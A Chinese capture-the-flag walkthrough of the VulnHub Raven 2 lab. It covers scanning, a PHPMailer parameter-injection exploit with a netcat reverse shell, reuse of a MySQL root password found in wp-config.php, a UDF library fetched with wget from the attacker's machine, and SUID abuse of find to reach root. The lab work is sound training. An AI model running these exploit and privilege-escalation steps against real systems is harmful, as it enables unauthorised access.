资产编号 | 资产分类 | 资产名称 | 资产规格 | 访问地址 | 备注/问题 |
---|---|---|---|---|---|
RAVEN1 | 主机系统 | Ubuntu操作系统 | Type:Linux IP:192.168.101.134 Port:22、80、111 |
192.168.101.134 | 敏感目录泄露,PHPMailer低版本参数注入漏洞,UDF+find命令提权 |
靶机flag:
==flag1{b9bbcb33e11b80be759c4e844862482d}==
==flag2{6a8ed560f0b5358ecf844108048eb337}==
==flag3{a0f568aa9de277887f37730d71520d9b}==
==flag4{df2bc5e951d91581467bb9a2a8ff4425}==
靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova
kali攻击机ip为192.168.101.128
RAVEN 2靶机
(1)信息收集
- 通过netdiscover进行二层发现,发现地址为192.168.101.134主机
1 | netdiscover -r 192.168.101.0/24 |
- 通过ping进行三层发现,根据ttl=64初步推测该主机为Linux
1 | ping 192.168.101.134 |
- 通过masscan四层发现目标主机开放端口
1 | masscan -p0-65535 --rate=10000 192.168.101.134 |
目标主机开启了111服务端口,22ssh端口,49505端口
扫描目标端口服务
1
nmap -A -p- -sC -T4 -sS -P0 192.168.101.134 -oN nmap.A
- 目标开启了以下端口及服务:
- 22端口,服务为OpenSSH 6.7p1;且系统为Debian 5+deb8u4
- 80端口,服务为Apacha 2.4.10
- 111端口,rpcbind服务
使用Nmap中漏洞分类NSE脚本对目标进行探测
1 | nmap -sV --script vuln 192.168.101.134 |
同样存在openssh的用户名枚举和栈溢出的SSV-90447可用
在exploit-db上搜索ssh对应版本的漏洞,或者searchspolit,目标服务器的openssh有用户名枚举漏洞
seebug上看到目标主机存在信息泄露和缓冲区溢出漏洞,还有2010年的拒绝服务漏洞(因该漏洞等级较低,实施拒绝服务也较困难所以无视)
==192.168.101.134主机的22端口存在信息泄露和缓冲区溢出漏洞,seebug还有searchspolit都能找到对应的poc,该轮信息扫描可以用来进行下一步的ssh爆破或溢出漏洞攻击。该信息泄露漏洞定义为中危==
访问其web服务:
在其service.html源码里找到flag1:
==flag1{b9bbcb33e11b80be759c4e844862482d}==
- 目录扫描:
1 | dirb 192.168.101.135 |
目标网站存在vendor目录,访问一下,发现存在敏感目录遍历
vendor目录一般是指在项目中用于存放第三方库、框架、插件等外部依赖的目录。
还有wordpress目录,该站应该是一个wordpress的框架
- wappalzer分析:
在目录可以看到使用了PHPMailer(功能齐全的PHP电子邮件创建和传输类)
VERSION目录找到了PHPMailer版本号为5.2.16
(2)PHPMailer漏洞攻击
查找对应的漏洞:
1 | searchsploit PHPMailer |
PHPMaileer<5.2.18可以进行远程代码执行,使用python版对应的exp:
- 把exp复制到当前目录:
1 | cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./ |
- 攻击机kali开启nc监听,端口为4444
1 | nc -lvnp 4444 |
- 修改exp,把target改为目标地址,backdoor为写的shell地址,修改反弹shell地址为本机ip,修改后如下:
之所以加contact.php,可以看一下该漏洞成因,是因为输入的邮件地址能包含引号括起来的空格,造成参数注入。所以要找接收邮件参数的页面。就是contact.php
1 | from requests_toolbelt import MultipartEncoder |
提一些其他的知识:vim全选复制:vVGy
v进入普通可视模式,V进入行可视模式,G把光标易懂到最后一行,y复制选中文本
执行后显示如下结果:
现在访问http://192.168.101.134/godown.php(你所写shell位置),弹回shell
shell为www-data的权限:
目标机有python环境
- 用python pty获取完整交互式shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
查找flag2,flag3:
1 | find / -name flag* 2>/dev/null |
加上
2>/dev/null
把错误输出丢弃,不然会出现暴多Permission denied的无权限搜索目录信息。
flag2:==flag2{6a8ed560f0b5358ecf844108048eb337}==
flag3:网页上查看
==flag3{a0f568aa9de277887f37730d71520d9b}==
(3)Mysql UDF提权
wordpress下有wordpress的配置文件wp-config.php
数据库账号root,密码R@v3nSecurity
登录mysql:
1 | mysql -u root -pR@v3nSecurity |
且Server version(Mysql)版本为5.5.60。可以用udf提权
udf提权:UDF提权前提是知道数据库root密码
- 一般来说mysql>=5.1.4 上传udf到mysql\lib\plugin
- 如果mysql<5.1.4 别想了,遇不到
查找对应的exp:
1 | searchsploit mysql |
把exp复制到当前路径,并gcc编译
1 | cp /usr/share/exploitdb/exploits/linux/local/1518.c ./ |
gcc各个参数说明:
-g 生成调试信息
-shared 生成动态链接库(.so)而不是可执行文件。用以在各个程序共享
-o 输出文件 1518.o输入文件
-lc 连接c标准库,提供标准C库函数支持
在kali上起一个web服务,在靶机上下载so
1 | python3 -m http.server 8888 |
靶机执行:
1 | wget http://192.168.101.128:8888/raptor_udf.so |
进入数据库mysql创建数据表foo,向表中插入二进制数据,利用dumpfile函数把文件以root权限写到plugin目录,新建返回类型为整型的函数do_system,别名soname(注意修改load_file的so路径)
1 | use mysql; |
- find提权
通过do_system函数给find目录所有者的suid权限
1 | select do_system('chmod u+s /usr/bin/find'); |
1 | touch finn |
完成!看到shell标识变了
uid为root
在root下找到最后一个flag:==flag4{df2bc5e951d91581467bb9a2a8ff4425}==